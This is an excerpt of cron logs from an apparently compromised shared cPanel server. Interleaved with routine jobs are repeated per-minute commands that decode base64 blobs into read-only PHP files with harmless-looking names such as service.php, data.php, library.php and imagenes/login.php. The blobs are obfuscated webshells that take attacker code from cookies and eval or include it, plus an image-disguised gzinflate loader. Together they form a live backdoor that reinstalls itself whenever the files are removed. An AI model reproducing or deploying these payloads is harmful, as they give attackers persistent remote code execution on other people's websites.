RlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:17:02 medusa CROND[12051]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:17:02 medusa CROND[12053]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:17:02 medusa CROND[12059]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Apr 19 09:17:02 medusa CROND[12065]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:18:01 medusa CROND[4144]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:18:01 medusa CROND[4145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:18:01 medusa CROND[4146]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:18:01 medusa CROND[4147]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:18:01 medusa CROND[4149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:18:01 medusa CROND[4150]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:18:01 medusa CROND[4151]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:18:01 medusa CROND[4154]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:18:01 medusa CROND[4155]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:18:01 medusa CROND[4157]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 09:18:01 medusa CROND[4159]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:18:01 medusa CROND[4148]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:18:01 medusa CROND[4170]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Apr 19 09:18:01 medusa CROND[4173]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:19:01 medusa CROND[28668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:19:01 medusa CROND[28742]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:19:01 medusa CROND[28743]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:19:01 medusa CROND[28744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:19:01 medusa CROND[28745]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:19:01 medusa CROND[28746]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:19:01 medusa CROND[28749]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 09:19:01 medusa CROND[28752]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:19:01 medusa CROND[28753]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:19:01 medusa CROND[28755]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:19:01 medusa CROND[28765]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyI